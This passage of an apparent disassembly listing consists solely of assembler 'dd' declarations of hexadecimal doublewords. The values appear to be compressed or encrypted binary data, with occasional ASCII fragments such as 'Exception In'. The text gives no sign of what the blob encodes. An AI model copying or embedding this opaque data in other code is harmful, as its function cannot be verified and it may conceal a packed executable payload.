		dd 673F3A6Fh, 0ACFA3190h, 0F2B76607h, 12C41F22h, 4BAFCA40h
		dd 4F00D334h, 0E6C418D1h, 80364Dh, 4725C1EBh, 36A6154h
		dd 810F521Bh, 0FA5F8237h, 1ADD5A4Ah, 5AD3E40Ch,	0C0DFC70h
		dd 686C524Bh, 0D4C9C019h, 0ACEC4BB5h, 3C0F05A4h, 5BFFFEB7h
		dd 89135DE1h, 0A34B2671h, 0E8E104F5h, 43CB2404h, 0D7C41988h
		dd 6EFB0680h, 890F2F09h, 7FBA1610h, 62FF6326h, 9DEB222Fh
		dd 51655AE1h, 61D20CBDh, 7BB11D5Ch, 2A04B1A6h, 5B240A21h
		dd 1BC8504Bh, 6DDC5CC0h, 0A8FE0290h, 7CB6B463h,	8D14E358h
		dd 103327EDh, 4531E8Eh,	0A0A62600h, 9A9C0CB6h, 0F38A34C5h
		dd 0BD039FC0h, 6A294AC1h, 0F9D82310h, 29CC0BD8h, 0CFB11496h
		dd 0F3F28101h, 88975FC2h, 53FC31FCh, 0D5202E60h, 0D4A184h
		dd 0B6F15927h, 0D80D83A3h, 0BE6DA01h, 5F615894h, 921D0970h
		dd 3A6A4E38h, 181423E3h, 8D893816h, 5C526559h, 0E1E0D82Fh
		dd 2E359910h, 65BDC10Ah, 0A28C0535h, 9D952E33h,	80E2A1C7h
		dd 0C065E11Ch, 0BD5881EBh, 2A1EB296h, 60D71696h, 36B96693h
		dd 18E95714h, 258B2512h, 8C820B58h, 78BE530h, 0C80DBD01h
		dd 9A64FC96h, 0BABBCCh,	0EE9CA00Ch, 0B532D61Ah,	1B0BD2E4h
		dd 38914BFAh, 0BA15BDA8h, 4809BBFh, 0D3CD8D09h,	5AE7C770h
		dd 9A4F20A2h, 3ED91B88h, 3740F403h, 1415E7Ah, 504D4920h
		dd 5FFA6224h, 0B5204004h, 5011369Ah, 2CA8B4Ch, 0E9952301h
		dd 328EE530h, 0E82414AEh, 0E83BCB4h, 0C0B7EA3h,	2F639180h
		dd 4C75D21Dh, 9F533828h, 71125520h, 2A64D059h, 0F9CD0B96h
		dd 0D0056132h, 0E1F736D0h, 0E475B824h, 0C709DD09h, 483911D8h
		dd 265C7D3Dh, 166AA686h, 8F2EE9CBh, 0C0178849h,	542B0A57h
		dd 31418CC4h, 80090B8Ah, 93513DE9h, 0DA1814D1h,	0D120ECB0h
		dd 0CF81021Ch, 4A41E65Ch, 0EEC82F4Ch, 2960820Dh, 9EA8B995h
		dd 6EEE0296h, 2E4E6127h, 5E7339EDh, 0BD892230h,	3A22E1B9h
		dd 0D6042989h
		dd 6F018A0Fh, 191FCD48h, 0BD080CD9h, 1814A52Bh,	85305712h
		dd 4EDB5A24h, 636FA0B8h, 4DBD3A01h, 5B2256FBh, 9024CFAh
		dd 15E98D33h, 0F828F123h, 0F1661CFFh, 0D64A2042h, 0C928BAD4h
		dd 0A5F94B15h, 44D34724h, 2D3E601Bh, 25680531h,	1F9C0588h
		dd 581B10F5h, 0A7510C2h, 0A99D0104h, 82E9B907h,	54FD7444h
		dd 1CE95878h, 2940065Ah, 0B58DDBD6h, 0AD48FB1Ah, 28828A0Dh
		dd 0F360B23Fh, 29DCC8Ah, 72ADBD82h, 0D9C2B1D2h,	7EA21816h
		dd 66601FD0h, 335281BBh, 2F2225B5h, 0A9957E43h,	0DA52C401h
		dd 3FEC8154h, 60C82596h, 0DBBF260Fh, 0A5E4CCA5h, 0C4C29FAAh
		dd 0F5006771h, 0EFF1509Eh, 0B74D00A1h, 0C6349003h, 0C4769262h
		dd 43BC0F03h, 22F38B61h, 0CF001438h, 0D02B16EBh, 0D1AB17h
		dd 9D3384FCh, 0DB48D3DFh, 0C0E5B602h, 0B261F86Bh, 11B66ABh
		dd 30983BCDh, 75DC2F1Ch, 41A6BC17h, 2C809E3Ch, 0F8D7217Bh
		dd 0C8AE7300h, 65B218FFh, 15590E53h, 8B9D6949h,	5F9D6A5Ah
		dd 0A2801A91h, 0EB21C78Ah, 819D1000h, 0AD2E48EFh, 0C4CCAC3Dh
		dd 16159Eh, 234678BFh, 3FF5B02Ah, 5C8BE781h, 559F0D99h
		dd 0D9FCD991h, 63D1E985h, 23E42F00h, 1757863Bh,	0DB5F6EB9h
		dd 4B4E8010h, 13F03BA5h, 3359352h, 9BB8DA80h, 0BCBCDA5Ch
		dd 27048C14h, 68D9D29h,	0CB3978F2h, 1855D82Ch, 18CDDA53h
		dd 8903C7A8h, 5043FCE5h, 2006B0EBh, 86250CFEh, 0E2465B52h
		dd 9D4D301Dh, 0D9880900h, 0D7FB2C9Eh, 0D28A73E2h, 0CAFAB194h
		dd 8100EDF1h, 0D23738CAh, 8C569729h, 94347E6Ah,	0DFA071E7h
		dd 0B8E27E4Ch, 0FC74E901h, 6AC8B650h, 5C83F420h, 0FEC8AE03h
		dd 0BA009121h, 3F12E3C9h, 0E1604C50h, 7014F513h, 3A316F9Ah
		dd 0E075D300h, 5B156357h, 4DF0125Ch, 991D9161h,	4E820531h
		dd 0E4951C9h, 180968F5h, 2FA583E8h, 9B605380h, 0BB8405CBh
		dd 4D1AC026h, 0F50B4F97h, 0C4B01D15h, 4AE70020h, 0CA926073h
		dd 5201DE4Eh, 16AB2681h, 326A61EBh, 1944E82Dh, 547AA31Dh
		dd 8F3E67C0h, 0E39B2Bh,	90DB726Fh, 30A5BE9Ch, 0F8C44372h
		dd 0C3130F45h, 0A93EC56Dh, 6A21AC33h, 9D800F58h, 66CA1299h
		dd 0BA7A796Dh, 3B50756h, 0E1D226BFh, 0D540EB43h, 0FDC170DBh
		dd 2003C121h, 2F76CFA5h, 1564C764h, 727F3AA7h, 64C4B945h
		dd 0C13CBD3Eh, 0F170D259h, 0ED017FCh, 0E65B8723h, 282981EAh
		dd 592E8157h, 2829E441h, 418C3D01h, 28738312h, 44E29368h
		dd 0B9233830h, 0B60A3BFCh, 1B983D01h, 89435891h, 31301AA2h
		dd 0AF480ED7h, 49D6DBD9h, 59CE21D4h, 174EEA98h,	3C6F3812h
		dd 13ABEB28h, 8D3B0CD2h, 0BCE93853h, 0CC1C8C17h, 1EAE43D8h
		dd 81D9D85h, 4C0F7AF4h,	0F58B0E88h, 0C688161Fh,	0C621FC0Bh
		dd 0EE80700Bh, 1422EC5Eh, 2AF240DDh, 27ED0912h,	0FD95A58h
		dd 4790AC03h, 0A541F899h, 9BE00009h, 61928106h,	0DC699431h
		dd 4A83C4BCh, 4D17C82Ch, 1173A5D4h, 0F6901AA1h,	2127F516h
		dd 1308DBCh, 1145CDE9h,	170B7F0Ch, 6A7B8B19h, 62171081h
		dd 9E460587h, 67F2EF17h, 75C48011h, 0FF71B679h,	0C2EDD6A1h
		dd 86200111h, 0DA0F8103h, 9D673E76h, 444CEDF9h,	0DD217FDDh
		dd 28BB678h, 869CC981h,	3CC779CAh, 62601D44h, 7C5837F7h
		dd 8310686h, 80C864DEh,	881A91BDh, 0AEA4022Bh, 0DA2FD212h
		dd 0B92A11Eh, 0C13343C3h, 2E9834D1h, 0CFABA59h,	128BD9Fh
		dd 77747621h, 695630B8h, 4833A5B7h, 0FEB020E7h,	4F048A3Ah
		dd 0FCF2FD2Eh, 0E1D95EC6h, 0D488E8F1h, 2228090Ah, 3B339E05h
		dd 0C7A64073h, 0AC3EBF0Ah, 3E346673h, 44273D2Dh, 98828C2Ch
		dd 0B6B97D2Fh, 16079318h, 66E9B4E6h, 0F6DB8C05h, 55F104C3h
		dd 0AAC619A5h, 52685602h, 3C9CA8B8h, 0DA046A2Ch, 6F771010h
		dd 0B2B88164h, 10820D6Dh, 868472Dh, 0EC18AC9Bh,	8B0414F3h
		dd 4F801EF0h, 2F266168h, 326D6FF7h, 6696143h, 286A537Dh
		dd 85141856h, 0C07575C0h, 64986841h, 0DFDB5B87h, 68862B5Ch
		dd 0A4684C83h, 0B48092E7h, 9D8B1120h, 5B257E6Dh, 723F0504h
		dd 152B545Ch, 9303C709h, 0C43B1EFh, 9DF2216Bh, 842568E5h
		dd 6A622FA9h, 0C5302ADh, 91A4B534h, 6D1417A2h, 97684502h
		dd 2492A5F7h, 679A390Fh, 2EB00C02h, 66A63275h, 35A1C0DAh
		dd 2C0C234Eh, 28344DBBh, 8D29C1ABh, 80051BEDh, 0BD2BD0B7h
		dd 5F2FB928h, 463DF934h, 0A3B87EB9h, 2503FA00h,	0ACFDF871h
		dd 0EA455C33h, 8039205Eh, 0FC0005A8h, 3AD4DEF8h, 7D3E718h
		dd 0CAF7510h, 50C99287h, 61E9FCE0h, 35FF641Ch, 15E39027h
		dd 75EF8326h, 8D618C25h, 1188814Eh, 1A184275h, 0DC277884h
		dd 0D04DC74h, 6A15B085h, 5780D5B8h, 0FA16E893h,	3DA26ED7h
		dd 41341A48h, 0B8D5ED25h, 0CA9E014Fh, 86BD80F8h, 0B4226A11h
		dd 94DF2E15h, 875E4408h, 5F04E873h, 1DA4A1E9h, 0DB3325F9h
		dd 0E471FC10h, 0C32E7D00h, 8A5BBB87h, 2C00786h,	5A331EA2h
		dd 7B2560D2h, 3A003E18h, 76F566CAh, 2144EE0h, 0B2C684A1h
		dd 0C660E873h, 0B14073Fh, 928C8F64h, 8D50E4EEh,	2B977D6Fh
		dd 844883FBh, 6F224E44h, 0C5007C1Ch, 0B53AABEAh, 0B0BA60AAh
		dd 31E82750h, 0F2DBB810h, 0FD985E00h, 0A3C06D0Ch, 990DFE61h
		dd 4B90FEFh, 7D085749h,	317F1697h, 0F02D9726h, 0C0C244Ch
		dd 1DA481C7h, 8303CFFFh, 415B84Ch, 8BC399A0h, 610CE6A1h
		dd 5D22C2F8h, 3EB24181h, 83288D38h, 0FFB0A11Bh,	0CD891990h
		dd 6E2A4F5Dh, 0BF2B129Fh, 11550304h, 1C8074BDh,	174CA6FAh
		dd 9DDF8700h, 5EBF86D3h, 79060143h, 8A6DC0D7h, 119891EBh
		dd 8B7FC64Ch, 2A55610h,	52D78100h, 502F4ED9h, 0F89CC93h
		dd 25E26682h, 8AA0E9FBh, 0BDC32CC6h, 93325C0Fh,	0C0DD8415h
		dd 743CDF9Dh, 0D8A59680h, 0DE00CA02h, 908B1336h, 4234ACh
		dd 48352AF5h, 0B9E9C51Dh, 0B89DA09Dh, 0FA55D704h, 81640105h
		dd 65BB0DF7h, 0BA4A60D4h, 34B6401Ch, 0E8EA8C3Eh, 0EEED0C5Fh
		dd 58680BFBh, 89F2564Dh, 29220923h, 7837CB6Ch, 6D514C80h
		dd 544543F3h, 7C77CDh, 22A387FBh, 0B8F103E6h, 0C593E200h
		dd 6F4461CFh, 36BD0B8Dh, 0DAF92930h, 0F9120A2Eh, 3D84868Fh
		dd 0E592104h, 0BFF3008h, 0D1E12090h, 0E12C19BCh, 2A79B903h
		dd 7E150C7Eh, 6EAA47E9h, 2E310345h, 85309B39h, 4500016Eh
		dd 70656378h, 6F0E6974h, 6E49206Eh, 6D72C266h, 830C8961h
		dd 0CB656C64h, 202C9873h, 7418CF63h, 0EAF8793Dh, 73F1FB68h
		dd 77F166F1h, 129F72F5h, 9F761F64h, 7D705E6Ch, 779A73BDh
		dd 1D2C3469h, 26D86C76h, 0D8676E1Ch, 2E734067h,	0D0B854EEh
		dd 79FA6BFAh, 0AF675FAh, 0F4040D6Fh, 7028C601h,	6E736080h
		dd 4C525443h, 0B2FF2B75h, 8F6978EBh, 7A642D46h,	7B6218BAh
		dd 8A37970h, 62CB696Ch,	6428DAFEh, 42813629h, 0A6DFA156h
		dd 0BC3DBF3Fh, 431EE625h, 6B630AE8h, 910F4E49h,	554FC264h
		dd 72503854h, 1DA26F7Fh, 3BD10F16h, 41F3900Fh, 0F3DA1B6h
		dd 0CA5B1EC8h, 188E8D50h, 0E9411E1Dh, 0E93C85BDh, 12012DC4h
		dd 0BAE88802h, 9A5DD624h, 0FEFE0E52h, 19B1F851h, 6B3FA824h
		dd 8BB27622h, 28E71307h, 0B0246616h, 5765D6D9h,	0AFCF1D9h
		dd 0C4B62125h, 0C2216B78h, 216BC5C4h, 6BE3C4CAh, 0CCC4C621h
		dd 0C4BA216Bh, 0BE216BD4h, 462ADBC4h, 4071380Ch, 23A258E9h
		dd 929BD87h, 52953A19h,	631AF50Dh, 8B1B12C9h, 966BD95h
		dd 0D8F8C281h, 3910956Ah
		dd 0D5BC958Dh, 3345243h, 0D4C34028h, 39F9893Bh,	768E2924h
		dd 88550CEDh, 13AA9D8Bh, 0EAD85A62h, 118C65A6h,	0B6215042h
		dd 0C22254E4h, 2158421Eh, 225CE4C6h, 53DC2ABAh,	0AFB40DEAh
		dd 0CD056845h, 430C5A26h, 90BA21BEh, 64C2C8C6h,	2AB232B6h
		dd 62AC120Ah, 790E41Ch,	225B2D9Dh, 240C77CBh, 0CE24406Ah
		dd 3BA719A5h, 5401C255h, 0ACC1C58Fh, 0EB198757h, 5C0A3E70h
		dd 2660791h, 59B3A9D8h,	2D008D44h, 68E7872Fh, 10D978Bh
		dd 81F85B44h, 0AF5F0CC3h, 80701822h, 0B9B30CF4h, 841D1795h
		dd 17F0245h, 88B4335Dh,	4EC82A5Ah, 716E07B3h, 204A5173h
		dd 5FF9BF0Fh, 0F2815801h, 3B2957D4h, 0F482A12Ch, 0EB8C8FB8h
		dd 0BF008A20h, 8B603BB7h, 24DC80C8h, 26361E3h, 43274ED9h
		dd 89F32DE0h, 32BF1300h, 810DE278h, 0D28202EBh,	860F53A5h
		dd 0FC66DDE4h, 91B7ED8h, 4924D480h, 59141504h, 0F92FF79Eh
		dd 8BE30054h, 0AA044F40h, 0EA906DDh, 766DB9A4h,	84E9F212h
		dd 866202C1h, 0D6FC60h,	224C11B8h, 5979BC46h, 5FC104A5h
		dd 10AF77C8h, 6303F5DCh, 35A51E0h, 0AAC4E621h, 0C2E01D3Eh
		dd 437C9BD6h, 6704E20h,	7FA4FA78h, 0B3784871h, 28BD1D81h
		dd 0E58740C0h, 0F950305Ah, 4E3080A4h, 10D52142h, 3E35012Eh
		dd 5A533D40h, 73188C56h, 635E397Ah, 0B33D41D6h,	180C76C3h
		dd 39321304h, 72F330CBh, 94662951h, 2E3B6800h, 2FAD98Ch
		dd 0D5D3000Dh, 5374E13Fh, 0F552CC06h, 0B2E904ACh, 0EC407778h
		dd 17E18CDEh, 0D5C05F17h, 4176B003h, 0DC213F43h, 7501AF3Ah
		dd 0A8A6053Dh, 29189D58h, 719ED31Fh, 120EF000h,	1F0C403Bh
		dd 0BA5A68h, 7DC2E27Bh,	0FA00EC1Dh, 0A0551519h,	60452146h
		dd 0AD5B08A1h, 9100ED23h, 996FBF63h, 0AE6E4076h, 76BDE04Ch
		dd 52C1F879h, 8522E015h, 48B7ED30h, 0C8A0C794h,	1112DF0h
		dd 0AC458415h, 3E42FD00h, 0F3C2643Dh, 977C2103h, 3F51DE68h
		dd 420D5948h, 82032BEh,	1D1DECE0h, 0A106C462h, 3A18CC47h
		dd 293355FFh, 0D5C02121h, 71C1544Eh, 0E76C090h,	0B88E8847h
		dd 3DC1448h, 0B4E04358h, 710EE272h, 823B3DA7h, 2F064079h
		dd 0F70EBAA0h, 440E89C3h, 3872766Dh, 471AC1h, 0EF055BB1h
		dd 673A6AB4h, 9C6B6C28h, 532F10E5h, 0F2CC153Fh,	5519907Eh
		dd 10661034h, 0F02FBh, 48AE6DECh, 7D9551FFh, 0C15B4E30h
		dd 0E8FCC7B3h, 74C34828h, 40DF1C85h, 0B1EA24BCh, 0C0CB9F0h
		dd 7969A62Dh, 2EF08Dh, 2DAA48Eh, 911FDF79h, 326CB0C3h
		dd 41929A06h, 0EC10512Ch, 163AA99Ch, 78A700DCh,	338D8096h
		dd 5F5A1589h, 6807C0CEh, 0E09D9C07h, 0C81D94A6h, 0C228A70Ch
		dd 920621BEh, 5041221Ch, 58C2888Bh, 0A19CD620h,	0AB1E449h
		dd 32F5CB43h, 93D364D4h, 5156BDA8h, 0C0A90C60h,	14921D7h
		dd 0E2822BF2h, 4008D673h, 7201450Ch, 0FBD06254h, 21AA4212h
		dd 19EC2003h, 4C60A08Eh, 0EE580E81h, 120575DEh,	8A14605Fh
		dd 2F50F246h, 9F7C030h,	7C60EAF0h, 0FE7230DEh, 0A548B4A9h
		dd 2FFAF900h, 0C9CDD471h, 3D8B0381h, 7E728E02h,	0C2469100h
		dd 85375F09h, 51040433h, 884AF7CCh, 6898AD04h, 96E12885h
		dd 940E11C3h, 4100A52h,	0BD022C64h, 0A02D4EC9h,	0EA8BB5C0h
		dd 7DDD3068h, 5544261h,	95942C03h, 0BC7F9CB6h, 86521C88h
		dd 0DB16AA0Fh, 79C5E5E3h, 335F9804h, 6700E21h, 10874318h
		dd 0AF887642h, 26F88A67h, 9CCB15ADh, 0A8D8C63Dh, 0F1E94400h
		dd 0AA3FBCEDh, 228E932Eh, 0B4950C00h, 47DFAE2h,	9A08DD41h
		dd 0C2F89071h, 7A13C552h, 24405316h, 240C6CCDh,	75070DD4h
		dd 40C85D6Bh, 17D88C08h, 58AE5A80h, 78005098h, 0F415AA6Dh
		dd 0C6616486h, 60304620h, 200FDC31h, 85858111h,	68406EEFh
		dd 658294B0h, 0DC4B2E90h, 7461001Bh, 28CE268Ch,	29C3F931h
		dd 5C62F1CBh, 68E0E330h, 400A5480h, 946FCEBAh, 0DA915824h
		dd 0B30CCF3Ch, 191174A5h, 1A02E600h, 0C063F5EEh, 0E8A098F6h
		dd 3221CF1Fh, 0EB4302A3h, 0B1BF5098h, 87C73C00h, 1DF752F0h
		dd 0D8EE4D4Eh, 0D05CEC0Ch, 7D0E9799h, 3E092CC0h, 90EE3400h
		dd 0AFC366h, 0BFCEF7B6h, 0A6A9AC78h, 25C110F7h,	75CA0031h
		dd 4AB152C9h, 0E800A593h, 0E0279A8Dh, 0B026D520h, 0A449044Fh
		dd 0C4914023h, 7208C270h, 0BDDC3068h, 424971FAh, 1A660050h
		dd 31FCE7B4h, 0C75D1915h, 80710801h, 0B4138021h, 0CB394CCh
		dd 0C5FE28EFh, 0F6010CC1h, 57E6A972h, 0A841A835h, 4108425Ah
		dd 2D33C44h, 0B6B75CDAh, 44A43672h, 40156226h, 0A409FC40h
		dd 87734444h, 71B40E1Ch, 5968A54Ch, 0AD4002Dh, 15F3FCDCh
		dd 4800E7ECh, 0AFC7FD0Fh, 0A6797C95h, 2B046E8h,	0EE1B02E7h
		dd 33001CCDh, 8F8802EFh, 80CA3h, 7376D62Bh, 0DEE8D747h
		dd 7DB42F48h, 0FC75EF00h, 0A34215D9h, 410260BCh, 0F47F379h
		dd 115D5130h, 180AD39h,	0E1ABD2DCh, 0A483DA75h,	1C401C08h
		dd 186E80B5h, 0B9C1C428h, 6806BE22h, 3EEE21ADh,	7BAC8029h
		dd 3D400A3h, 0ADDBB23h,	741E768Ah, 2C012247h, 0E0792678h
		dd 49837D71h, 0A69CD8DCh, 423DFDA8h, 8CC35E4h, 321D4h
		dd 22159C20h, 0CB70E224h, 715CEE30h, 51B0FAFFh,	81BEEFD5h
		dd 64EC6064h, 0EAAA78C3h, 0D03091DDh, 9C24FF10h, 38724401h
		dd 6CC103DCh, 0A6AE8C74h, 2B546D0h, 0EE1802E4h,	34071CE5h
		dd 0B1002ECh, 41BDB030h, 0B2787Ch, 8D35D2BEh, 0A5A9E368h
		dd 1C316A60h, 0FD36B81h, 0F226920h, 76F67A0h, 90128F8h
		dd 76FADB87h, 51116C46h, 0CA80505Fh, 9D00F538h,	0BA4AA99Fh
		dd 50DFD1BDh, 8C0EF073h, 9180AC3Eh, 2F88B3D2h, 80B41B87h
		dd 0F735CF0Eh, 98686C20h, 4A50F434h, 292801E1h,	408140FDh
		dd 0BE878F10h, 0FC927B1Fh, 0F4198918h, 9C0F59DCh, 41B4401h
		dd 0E1270299h, 0DACC58EEh, 0A3A89C3Ah, 0D211CDh, 5A9C2201h
		dd 9D49458h, 97EC234Eh,	0FAA07400h, 6D60A5B7h, 1FEF2671h
		dd 0B0F300C8h, 0EADD866Fh, 24055B28h, 0EC1BACE7h, 723DE804h
		dd 154F88Ch, 9FF0DB0h, 67DCCA71h, 0CBACA128h, 99460908h
		dd 0A62021A4h, 287D1885h, 469C07D5h, 0E4DB2EEFh, 9CC5A93Ah
		dd 9C2302C0h, 124E7861h, 924476F9h, 98525118h, 2E03C21Ch
		dd 0FF043640h, 771B674h, 49D4D314h, 0A782401Eh,	9B13EC06h
		dd 9CC55Ah, 0C047F44Eh,	0CCB5F910h, 62001576h, 5DCDFBAh
		dd 30DEECE1h, 42D9BD50h, 605CA24Fh, 0FD5109BCh,	0FE44445h
		dd 2F48A053h, 154AFC41h, 4804414h, 43C0449Ch, 28F5CBh
		dd 0BDDDF981h, 0EDD0AF78h, 0A6A720C1h, 0D30058B5h, 0B900D5D2h
		dd 227797B6h, 0B45CBEEh, 0AC5DAA0Eh, 0BD39F882h, 0E110D400h
		dd 0AB7D802Ch, 46A02901h, 72FD5BC7h, 28014444h,	0DDC0D4D6h
		dd 0EA7F3183h, 80FEA8AEh, 0A752FF25h, 24C6EE70h, 42490CF9h
		dd 0B3185A56h, 0EF7CDE10h, 0A125B507h, 78B96011h, 0F0521C8Fh
		dd 4461B94h, 0FC6AE130h, 309ABE3h, 0BCDEEA10h, 707C1201h
		dd 3C0ABA20h, 0EDAC5A4Ch, 0A5460768h, 0D1067815h, 0E8BB9Eh
		dd 7AF32472h, 2AA9DF59h, 0A0A5C0C1h, 28884B0Fh,	3890B9C2h
		dd 4828E584h, 0B7C142B4h, 0A8400C24h, 124560EDh, 29FC8500h
		dd 0D2541D99h, 2EAF00FEh, 0BB4A5707h, 4E00B2E0h, 0BA7F0F21h
		dd 0CD9286h, 24E30BD0h,	0BF4C9E43h, 203DE3Fh, 38C07C3Ah
		dd 0FD1D6087h, 3C813E5Fh, 3907FEF3h, 0F1018C04h, 30F78AFEh
		dd 3FF8C842h, 0C1B11018h
		dd 80C34329h, 0F063484h, 0D38EB7BFh, 59280320h,	784F3F21h
		dd 0CB04000h, 0F002E1CEh, 61DE001Fh, 9EBB0892h,	10015BA5h
		dd 39C44001h, 3F4FE0Ch,	0B05A007Ah, 0FFBC210Fh,	96004FCEh
		dd 0A7A8CB87h, 143B42C9h, 0E08D8262h, 7B7A3900h, 9CC23252h
		dd 15DCC805h, 74C0A4B6h, 3A8B79h, 0A5311E2Dh, 4ADDEAA1h
		dd 45120900h, 0EFDC6FF8h, 49D8009Fh, 0A67A5140h, 42906ACBh
		dd 0FB703Dh, 0BA651442h, 5CAD8EEBh, 45007950h, 511A1833h
		dd 0C001B4E0h, 0E54EF640h, 9040F77Fh, 711D3Bh, 0EDA4A635h
		dd 1A0B4CDCh, 0E61B6900h, 0AD080531h, 7DB7CCAh,	0EA347B39h
		dd 87387744h, 0ED02DB7Ah, 0B0800E70h, 12D2023h,	36C16100h
		dd 134CC97Ch, 98B50785h, 0B0298F3Fh, 1227327Bh,	7800C0B0h
		dd 0D88D3DC1h, 75558D3h, 0C69FB80Eh, 50BA4065h,	3C2654EEh
		dd 0B3806C2Dh, 62E0715h, 0B0F80062h, 723FC2CEh,	0F0A8C5AAh
		dd 7E0E74ABh, 0A077FAB6h, 0D38BD4A7h, 453F0032h, 80964191h
		dd 0A667307Eh, 19D38EF8h, 9C65C03Ch, 98A001Eh, 2413A97Ah
		dd 5C005E35h, 6CFBA062h, 847EE6h, 30FE7CAh, 6722B5B7h
		dd 28006098h, 0A9792355h, 6C561C0h, 9C7F7DF6h, 0D2009087h
		dd 587BF093h, 8D8B31h, 603E2204h, 54B4E9B1h, 9296660h
		dd 9A24C8h, 0FD9069AAh,	0BD06D8D0h, 29B4D200h, 0E55A6305h
		dd 44CE0024h, 25422D32h, 0CCF5E661h, 0EA39C612h, 7ACC9FDAh
		dd 0FF284842h, 9C80E9C5h, 0ECFBCF20h, 0F0800D4h, 86633BCAh
		dd 0FA008DB2h, 57E8381Dh, 68E656h, 392CB5C1h, 0EEBD4849h
		dd 14D9DB00h, 0EF723E91h, 5C4F00FCh, 0DCD1466Ah, 0CC042936h
		dd 8C5EC067h, 0C481B0C1h, 5D8880CEh, 0FF5B6Bh, 8DE4B897h
		dd 787201DEh, 0D506F904h, 0CC90A7D1h, 77FE3F3h,	62393A99h
		dd 4821298Ch, 402C5AE7h, 38CC658Ch, 82B86600h, 991EC19Eh
		dd 127C003Bh, 6F59DFF5h, 103062CCh, 89C13867h, 0FDFB00F0h
		dd 0BF21EF52h, 0CBFE0437h, 4EBAD901h, 70C3862Dh, 5700642Ch
		dd 0FD8A81C9h, 0B600E46Eh, 0FE4D1669h, 0C38711h, 2C2BBC48h
		dd 0C6843B75h, 169FF200h, 634611Fh, 0A78E009Ch,	423707CEh
		dd 67092459h, 332B9A3h,	84ACE5B4h, 0C1F9D802h, 69A64868h
		dd 0FAEB9B00h, 8E44DC6Ah, 3850EC0Ah, 84001DAFh,	26B02A87h
		dd 0BF48A524h, 0A4450978h, 5E6CA0B5h, 3AF389h, 5B4D1D05h
		dd 3D6EC412h, 0DAE6D400h, 186469F2h, 3F36004Fh,	3C228C9Fh
		dd 0A18AD6Eh, 0DE58D209h, 96BD40A5h, 0B99EA000h, 4538292Ah
		dd 40250008h, 0E12CAEB7h, 46033FAAh, 927D044Dh,	0E9D79967h
		dd 211AE8C7h, 41F21274h, 513C00F9h, 9590781h, 10CA1780h
		dd 5B01AAh, 0B67337D8h,	13CC9F82h, 40E7162Bh, 0F9AE49E8h
		dd 0B02D544h, 0ADAC2212h, 8414C8F1h, 662A05C1h,	80DE4814h
		dd 921823A2h, 0D3BAD4FFh, 0ED3D3C90h, 31868709h, 0D8E05B5Dh
		dd 141F16Dh, 321D10ACh,	34F2BB38h, 0A21C9508h, 1746DAD9h
		dd 90603F9Eh, 0F3B30738h, 8029DF86h, 908E2832h,	0D3CAA51Fh
		dd 0D8CB15h, 0F08473B0h, 559CB88Bh, 0E8FCC4ECh,	95A43974h
		dd 2200145Ch, 4341F44Fh, 0C73F9311h, 0C2AA005Eh, 1E802D5Fh
		dd 51D860ECh, 5D2370ABh, 0CFBEA703h, 1F8D179Fh,	817FBC18h
		dd 0F0A46397h, 4A0DF44Fh, 0AD2BD700h, 2CB044D1h, 433E1D27h
		dd 0E37C0E1h, 0D691BABCh, 1A47571Ch, 63256AC0h,	9D1693h
		dd 0AC9826CAh, 7565DF5h, 4008C90h, 87BEB7CEh, 7010D44h
		dd 0DD0F4BF8h, 508A40AFh, 0D700056Eh, 9F9E9814h, 3285B6h
		dd 634EE901h, 2777E2F0h, 0BDA95D1Fh, 0AECA80BEh, 1A931CE5h
		dd 0C423008Fh, 30265503h, 0EF008B6Ah, 66FE44D6h, 20F96Bh
		dd 7F393160h, 5EADD481h, 0B2DC1207h, 1320A840h,	29DA25h
		dd 1FF48DD9h, 24BD02BFh, 5ED40E00h, 22430CFBh, 0F857002Fh
		dd 0FD6F6B48h, 0D00EB477h, 3CC920h, 34586C9Eh, 2B3601D5h
		dd 0A16502EDh, 0E80830DAh, 6EAE0B1Fh, 48572EC0h, 0BE55DE8Ah
		dd 0C7688E40h, 2FD26700h, 0A6009B9Fh, 2E33F4B7h, 0A84119h
		dd 0C2DB6494h, 407C1C12h, 0A2B5B000h, 379A11D4h, 0CD980065h
		dd 4873FEBAh, 9E12D0A3h, 5002DACAh, 60F359BDh, 704928Ch
		dd 16995D41h, 90FA77F6h, 1D9A1AE7h, 0D0DC5017h,	0FA594DF0h
		dd 3037484Ah, 0DDB67900h, 0BE6960F3h, 2674DE24h, 95C5DC01h
		dd 0B9E43F51h, 657A57h,	0A50A8104h, 0AAD70C1Fh,	297916FAh
		dd 0FA979B00h, 11B44C2Bh, 6AAF00C8h, 8DE734FBh,	77243FA7h
		dd 5C173CC6h, 358E3204h, 959CA0h, 5AEA7D36h, 0ACA7CE84h
		dd 516EB809h, 61602091h, 17E4213h, 9C966F14h, 0CDD86CC7h
		dd 24B3ED6Eh, 0E404D7B8h, 0C8B4416h, 0F8C004B1h, 18E906B5h
		dd 29D49E9Ah, 0CED6DF07h, 0A0E1C08Ch, 24E04533h, 57830466h
		dd 83564854h, 0F8B0755Ch, 11C9E8B6h, 469886D6h,	89F32F8Ah
		dd 0B0BD20A0h, 8B055FC0h, 0F982B4A5h, 26F15FC0h, 22D6124Bh
		dd 936A009Ch, 0C474E5C8h, 275C3B12h, 66975840h,	9849FAD9h
		dd 0CE2C0048h, 0F61CB3E0h, 61C04390h, 0D075ACC5h, 0DDE11C8Bh
		dd 181898F1h, 1578D1FFh, 11107233h, 0EA83C0D9h,	0C8F30027h
		dd 9BF69F34h, 0E300EF3Dh, 0AD7CB101h, 70F70FBh,	37F48B6h
		dd 18D041F6h, 0A426605Eh, 4EDA2800h, 0F0D7B1CAh, 0F97F00E6h
		dd 3D1D48B3h, 755481C7h, 0E90E27ACh, 4FE230Fh, 0F0B0BD77h
		dd 1CE81D14h, 51CC837Eh, 2A8036A0h, 1515F149h, 20C4E4h
		dd 0C622DECh, 9C4079EEh, 0B93F831Ch, 1588C15Dh,	913D5CE5h
		dd 0EF01FC09h, 0B15F0189h, 1A30C724h, 0EEB002Dh, 0B4DE817Bh
		dd 5C0273E2h, 74A64803h, 8D047267h, 0EDA5C104h,	4E10895Eh
		dd 0F1DCE0DAh, 12101C7Fh, 9945585Fh, 0ED009125h, 0D84EC260h
		dd 1978BA97h, 2913A5F2h, 44510831h, 2889F4E0h, 26AC0073h
		dd 21F80086h, 566CF9E8h, 5E00DC0Eh, 0F085504Ah,	0D63E30h
		dd 473C0103h, 0F2DBB2C0h, 78344C0Ah, 0D485840Eh, 94D03E71h
		dd 7280B951h, 6DF41DEBh, 66FD4078h, 1AC57DA4h, 83251200h
		dd 0DDBAD3BEh, 176300A0h, 4B3C3750h, 51C9C923h,	0E6C401ADh
